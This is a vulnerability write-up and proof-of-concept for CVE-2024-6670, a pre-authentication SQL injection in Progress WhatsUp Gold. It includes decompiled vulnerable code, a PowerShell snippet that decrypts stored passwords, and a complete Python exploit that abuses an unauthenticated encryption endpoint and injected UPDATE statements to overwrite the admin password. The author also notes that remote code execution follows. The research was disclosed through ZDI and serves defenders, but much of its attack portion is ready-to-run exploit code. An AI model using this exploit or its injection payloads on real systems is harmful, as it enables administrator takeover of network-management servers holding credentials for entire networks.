Breaking Down Barriers: Exploiting Pre-Auth SQL Injection in WhatsUp Gold

CVE-2024-6670

TLDR

I discovered an unauthenticated SQL injection against the latest version of progress whatsup gold and turned it into a authentication bypass, after that the product by design allows you to achieve RCE (that part is up to you), lets talk about how this was possible

ZDI

Manish Kishan Tanwar

If it wasn’t because of the motivation and lessons that my dear friend Manish has taught me over the years I have known him, I wouldn’t be able to exploit this bug, thank you my friend.

Introduction (yet another TLDR)

May 22nd I reported multiple SQL injection vulnerabilities to zeroday initiative and demonstrated how its possible to bypass the whatsup gold authentication and achieve remote code execution.

https://www.zerodayinitiative.com/advisories/ZDI-24-1185/

ZDI

What is WhatsUp Gold

ZDI

At the time, one of many definitions for this product on the vendor’s website is:

WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.

but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:

ZDI

there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.

Advanced .NET Exploitation

sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, from reverse engineering .net targets, finding .net related vulnerabilities, exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets

AdvancedNetExploitationTraining

The Vulnerability

The vulnerability is very simple, however, the exploitation is interesting, our starting point is the HasErrors method, lets take it apart, it resides at the following path:

Whatsup.UI.dll!WhatsUp.UI.Areas.Platform.Controllers.PerformanceMonitorErrorsController.HasErrors()

it expects multiple arguments, One of these arguments is the classId, which is used among other arguments to invoke the HasErrors function

1:  public ActionResult HasErrors(int deviceId, string classId, DateRange? range = null, int? n = null, DateTime? start = null, DateTime? end = null, int? businessHoursId = null)
2:  {
3:      PerformanceMonitorErrorLogReportParametersDto performanceMonitorErrorLogReportParametersDto = new PerformanceMonitorErrorLogReportParametersDto
4:      {
5:          DateRangeFilter = ReportParametersMapper.GetDateRangeFilterParameters(range, n, start, end),
6:          DeviceFilter = ReportParametersMapper.GetDeviceFilterParameters(new int?(deviceId), new bool?(true), new bool?(false)),
7:          BusinessHoursId = businessHoursId.GetValueOrDefault(),
8:          ClassId = classId
9:      };
10:      return base.Json(this._perfMonErrorLogAppService.HasErrors(performanceMonitorErrorLogReportParametersDto), 0);
11:  }

Using a debugger you notice you’ll be taken to an interface rather than the implementation at first, the interface is at:

Ipswitch.WhatsUp.Application.Contracts.dll
Ipswitch.WhatsUp.Application.Contracts.IPerformanceMonitorErrorLogAppService.HasErrors()

and it has been implemented at:

Ipswitch.WhatsUp.Infrastructure.Data.dll
Ipswitch.WhatsUp.Infrastructure.Data.DataAccessObjects.PerformanceMonitorErrorLogDao.HasErrors()

lets have a look at the implementation, the vulnerability is obvious, the classid is being used to construct a SQL query without sanitization, leading to a vanilla SQL injection as one would expect from a sophisticated application

public bool HasErrors(DateTime start, DateTime end, BusinessHoursDto businessHours, int deviceId, string classId)
 1:  {
 2:      string text = string.Format(@"
        SELECT TOP 1 SML.nStatisticalMonitorLogID
        FROM StatisticalMonitorLog SML
        INNER JOIN PivotStatisticalMonitorTypeToDevice P
        ON SML.nPivotStatisticalMonitorTypeToDeviceID = P.nPivotStatisticalMonitorTypeToDeviceID
        INNER JOIN StatisticalMonitorType SMT
        ON SMT.nStatisticalMonitorTypeID = P.nStatisticalMonitorTypeID
        WHERE dDateTime BETWEEN '{0}' AND '{1}' {2}
        AND P.nDeviceID = {3}
        AND SMT.nClsid = '{4}'", new object[]
 3:      {
 4:          start.ToString("yyyy-MM-dd HH:mm:ss"),
 5:          end.ToString("yyyy-MM-dd HH:mm:ss"),
 6:          this.GetBusinessHoursPredicate(businessHours),
 7:          deviceId,
 8:          classId
 9:      });
10:      return this._whatsUpPlatformUnitOfWork.ExecuteStoreQuery<int>(text, Array.Empty<object>()).Count<int>() > 0;
11:  }

Exploitation for Authentication Bypass

Usually one would use a SQL injection to retrieve/reset a high-privilege user password, other techniques might involve storing a payload in a certain column and trigger some functionality of the application to cause further impact because mostly data is sanitized when received from the user, and not when retrieved from the database, this could be triggering deserialization, code eval, command injection, etc

And since whatsupgold is usually deployed on a MSSQL instance, Other techniques might involve using xp_cmdshell to trigger command execution

After a while of looking for such primitives, I realized the xp_cmdshell wasn’t possible due to the secure configuration of the database-user that whatsup gold was using, deserialization, and or using the data stored in the database wasn’t being misused as far as the unauthenticated functionalities were reachable.

So I decided to see if its possible to either retrieve or override the administrator-user password field, after all this would be very impactful if we can bypass the authentication

Quick look can reveal the table for the users

ZDI

The password seems to be encrypted, I started looking for how the application retrieve’s and use the password, the search led me to look into the NmBusinessLayer.dll library, specifically the following method

NmBusinessLayer.Api.Membership.UserManagementApi.GetPassword()

it appears that this function expects a username and then after retrieving the user entity from the users table, it will invoke a function named ConvertBytesToPassword to convert the user password property to a text

1:  public string GetPassword(string userName)
2:  {
3:  string text = null;
4:  try
5:  {
6:      using (WhatsUpEntities whatsUpEntities = new WhatsUpEntities(this._dalConnectionString))
7:      {
8:          WebUser webUser = whatsUpEntities.WebUsers.Where((WebUser u) => u.sUserName == userName).FirstOrDefault<WebUser>();
9:          if (webUser == null)
10:          {
11:              throw new UpdateException(string.Format("Error: User Name [{0}] could not be located in the database;  GetPassword failed;", userName));
12:          }
13:          text = this.ConvertBytesToPassword(webUser.sPassword);
14:      }
15:  }
16:  catch (Exception ex)
17:  {
18:      this._logger.Error(ex, "GetPassword userName={0};", new object[] { userName });
19:      throw;
20:  }
21:  return text;
22:  }

Lets have a quick look in the ConvertBytesToPassword method, it calls the Aggregate function to format the password bytes into a certain comma separated format, and after that the CStr.DecryptString function is executed

1:  public string ConvertBytesToPassword(byte[] pwdBytes)
2:  {
3:      if (pwdBytes == null || !pwdBytes.Any<byte>())
4:      {
5:          return null;
6:      }
7:      return CStr.DecryptString(pwdBytes.Aggregate(string.Empty, (string current, byte next) => current + "," + next.ToString(CultureInfo.InvariantCulture)));
8:  }

This function might look complicated at first but if you look at the first line of this function and analyze the CreateUtilityClass call, you quickly understand what’s going on, the CreateUtilityClass will create an instance of a COM object by using a CLSID and then pass the instance object to the caller which will invoke the DecryptString method using this object as we saw earlier

 1:  private static object CreateUtilityClass()
 2:  {
 3:      return ComSupport.CreateInstance(new Guid("{26ED0DF9-CD55-43FC-8B86-908BD2684D3E}"));
 4:  }
 5:  
 6:  
 7:  public static string DecryptString(string sEncryptedString)
 8:  {
 9:      object obj = Str.CreateUtilityClass();
10:      string text;
11:      try
12:      {
13:          object obj2 = obj;
14:          if (Str.<>o__1.<>p__1 == null)
15:          {
16:              Str.<>o__1.<>p__1 = CallSite<Func<CallSite, object, string>>.Create(Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(Str)));
17:          }
18:          Func<CallSite, object, string> target = Str.<>o__1.<>p__1.Target;
19:          CallSite <>p__ = Str.<>o__1.<>p__1;
20:          if (Str.<>o__1.<>p__0 == null)
21:          {
22:              Str.<>o__1.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.InvokeMember(CSharpBinderFlags.None, "DecryptString", null, typeof(Str), new CSharpArgumentInfo[]
23:              {
24:                  CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
25:                  CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
26:              }));
27:          }
28:          text = target(<>p__, Str.<>o__1.<>p__0.Target(Str.<>o__1.<>p__0, obj2, sEncryptedString));
29:      }
30:      finally
31:      {
32:          Str.FreeUtilityClass(obj);
33:      }
34:      return text;
35:  }

So lets quicly find who is behind the CLSID, I use OleView .NET from James forshaw to look for this CLSID

ZDI

It appears it has been defined inside the CoreAsp.dll , we started analyzing this library and quickly realized the logic for the decryption is actually implemented in a imported function

ZDI

the actual implementation for the function can be found at Core.dll

ZDI

I started analyzing the CStr::DecryptString and immediately noticed this function will call the standard win32 CryptAcquireContextA to acquire a handle to a CSP (cryptographic service provider) and it will pass this acquired handle to the CStr::_GenerateKey for key generation

int __cdecl CStr::DecryptString(CIoBase *phProv, int a2)
{

[..SNIP..]

  v17 = 0;
  v31 = 0;
  v2 = phProv;
  (*(void (__thiscall **)(CIoBase *, _DWORD, _DWORD))(*(_DWORD *)phProv + 32))(phProv, 0, 0);
  (*(void (__thiscall **)(CIoBase *, int *, int))(*(_DWORD *)v2 + 16))(v2, &v31, 4);
  if ( v31 != 2 && v31 != 3 )
  {
    phProv = 0;
    hKey = 0;
    v30 = 0;
    v34 = 6;
    if ( ((__int64 (__thiscall *)(CIoBase *))*(_DWORD *)(*(_DWORD *)v2 + 28))(v2) )
    {
      v3 = 1;
      if ( !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0)
        && !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 8u)
        && !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0x20u)
        && !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0x28u) )
      {
        v23 = 1;
        CxxThrowException(&v23, (_ThrowInfo *)&_TI1H);
      }
      if ( !CStr::_GenerateKey((HCRYPTPROV)phProv, &hKey) )
      {
        pExceptionObject = 1;
        CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
      }

the CStr::_GenerateKey contained multiple usages of static keys, some hilarious

ZDI

I decided to use the CLSID to invoke the “DecryptString” method

$type = [Type]::GetTypeFromCLSID("{26ED0DF9-CD55-43FC-8B86-908BD2684D3E}")
$object = [Activator]::CreateInstance($type)
$res = $object.DecryptString("3, 0, 0, 0, 16, 0, 0, 0, 225, 170, 243, 1, 30, 22, 52, 155, 93, 230, 135, 190, 85, 37, 135, 89")
echo "Decrypted password -> $res"

echo "Decrypted password -> $res"

Decrypted password -> Aa123456

I was able to decrypt the password easily, however analyzing the decryption process further, shows that although some hard-coded values have been used for the crypto APIs, there are some values that are unique to each installation and this made the decryption inconsistent, meaning the call to this DecryptString method on one machine can decrypt a password that was generated on the same machine and not another installation instance. so if we use the SQL injection to extract/overwrite the password this plan would fail, an unfortunate story, right?

well not exactly, I decided to look more into the application, I had an idea that what “IF” there is a way I can encrypt something using the application in an unauthenticated manner? after all, we got nothing to lose but time and to my surprise the answer to this “IF” turned to be yes

So how does the unauthenticated password encrypt primitive works? basically the following DLL has a method which any unauthenticated user can send a POST request to

C:\Program Files (x86)\Ipswitch\WhatsUp\html\NM.UI\bin\extensions\WUG\Wug.UI.dll

Following is the method name

Wug.UI.Controllers.WugSystemAppSettingsController.JMXSecurity()

this method expects a JSON body containing 2 key members, where their values will be be encrypted by the application and get stored in the database, the encryption is done using the CStr.EncryptString which performs the same operation of using the CLSID to make a call to Core.Asp.dll which then will make a call to the native CStr::EncryptString inside Core.dll and returns the encrypted value

once the encryption is done, this method will save the encrypted value by calling the GlobalSettings.SetSetting method, this method simply updates a database table which contains the application global configuration

 1:  public ActionResult JMXSecurity(JMXSecuritySettingsViewModel vm)
 2:  {
 3:  if (base.ModelState.IsValid)
 4:  {
 5:      string text = CStr.EncryptString(vm.KeyStorePassword);
 6:      GlobalSettings.SetSetting("_GLOBAL_:JavaKeyStorePwd", text);
 7:      text = CStr.EncryptString(vm.TrustStorePassword);
 8:      GlobalSettings.SetSetting("_GLOBAL_:JavaTrustStorePwd", text);
 9:      if (WugSystemAppSettingsController.<>o__2.<>p__0 == null)
10:      {
11:          WugSystemAppSettingsController.<>o__2.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof(WugSystemAppSettingsController), new CSharpArgumentInfo[]
12:          {
13:              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
14:              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
15:          }));
16:      }
17:      WugSystemAppSettingsController.<>o__2.<>p__0.Target(WugSystemAppSettingsController.<>o__2.<>p__0, base.ViewBag, "SSL Settings Successfully Saved");
18:  }
19:  return base.View("JMXSecurity", vm);
20:  }

the encrypted data is stored in the GlobalSettings table, specifically the _GLOBAL_:JavaTrustStorePwd or _GLOBAL_:JavaKeyStorePwd entries, this table has the settings of the application, we can use this endpoint to encrypt any known value and have it stored in that table

here is the JSON definition for the expected data

public class JMXSecuritySettingsViewModel
{
    public string KeyStorePassword { get; set; }
    public string TrustStorePassword { get; set; }
}

This is perfect, having the application to encrypt any data we want and store it in a different table so we can later reuse this encrypted value via our SQL injection primitive to update another column inside another table that is the administrator password field, that’s cool I guess

So here is how the final attack flow works in a nutshell

ZDI

Proof of Concept

you can find the exploit at the following github repository

"""
Progress Software WhatsUp Gold HasErrors SQL Injection Authentication Bypass Vulnerability (CVE-2024-6670)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Special Thanks to my dear friend Manish Kishan Tanwar @indishell1046
Technical details: https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Progress Software WhatsUp Gold HasErrors SQL Injection Authentication Bypass Vulnerability (CVE-2024-6670)
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam), shoutout to @indishell1046
        
        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
        
        """

""""""



import urllib3
urllib3.disable_warnings()
import requests
import argparse


print(banner)
parser = argparse.ArgumentParser()
parser.add_argument('--target-url', '-t', dest='target_url', help="target url (e.g: https://192.168.1.1)", required=True)
parser.add_argument('--newpassword', '-n', dest='newpassword', help="new password to set for the administrator", required=True)

args = parser.parse_args()

args.target_url = args.target_url.rstrip("/")

def send_exploit(payload):

    # psssst, I left a ton of IoCs, use them wisely
    final_payload = f"DF215E10-8BD4-4401-B2DC-99BB03135F2E';{payload};--"

    _json = {"deviceId":"22222","classId":final_payload,"range":"1","n":"1","start":"3","end":"4","businesdsHoursId":"5"}

    requests.post(f"{args.target_url}/NmConsole/Platform/PerformanceMonitorErrors/HasErrors", json=_json, verify=False)


def retrieve_result():
    res = requests.get(f"{args.target_url}/NmConsole/Platform/Filter/AlertCenterItemsReportThresholds", verify=False)
    if(res.status_code != 200):
        print("(!) exitting now because something wen't wrong when requesting the route /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds")
        exit()
    
    for item in res.json():
        if("psyduck" in item["DisplayName"]):
            return item['DisplayName'].replace('psyduck','')


def convert_to_varbinary(input_str):
    byte_values = input_str.split(',')
    hex_values = [format(int(value), '02X') for value in byte_values]
    hex_string = ''.join(hex_values)
    varbinary_string = '0x' + hex_string
    return varbinary_string


def encrypt_password_primitive(new_password):
    _json = {"KeyStorePassword":new_password, "TrustStorePassword":new_password}
    res = requests.post(f"{args.target_url}/NmConsole/WugSystemAppSettings/JMXSecurity", json=_json, verify=False)
    print("[*] Used remote primitive to encrypt our passowrd")


print("[^_^] Starting the exploit...")

encrypt_password_primitive(args.newpassword) 


target_user = 'admin'
encrypted_password_exfil_payload = "UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd')"
send_exploit(encrypted_password_exfil_payload)
encrypted_password = retrieve_result()
encrypted_password = convert_to_varbinary(encrypted_password)
print(f"[*] encrypted password extracted -> "  + encrypted_password)

update_password_payload = f"UPDATE WebUser SET sPassword = {encrypted_password} where sUserName = '{target_user}'"
send_exploit(update_password_payload)


print(f"[+] Exploit finished, you can now login using the username -> {target_user} and password -> {args.newpassword}")

IoC

I tried to have the PoC riddled with IoCs, so just read it and you know what to look for

ZERO DAY INITIATIVE

As always, If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.

ZDI

References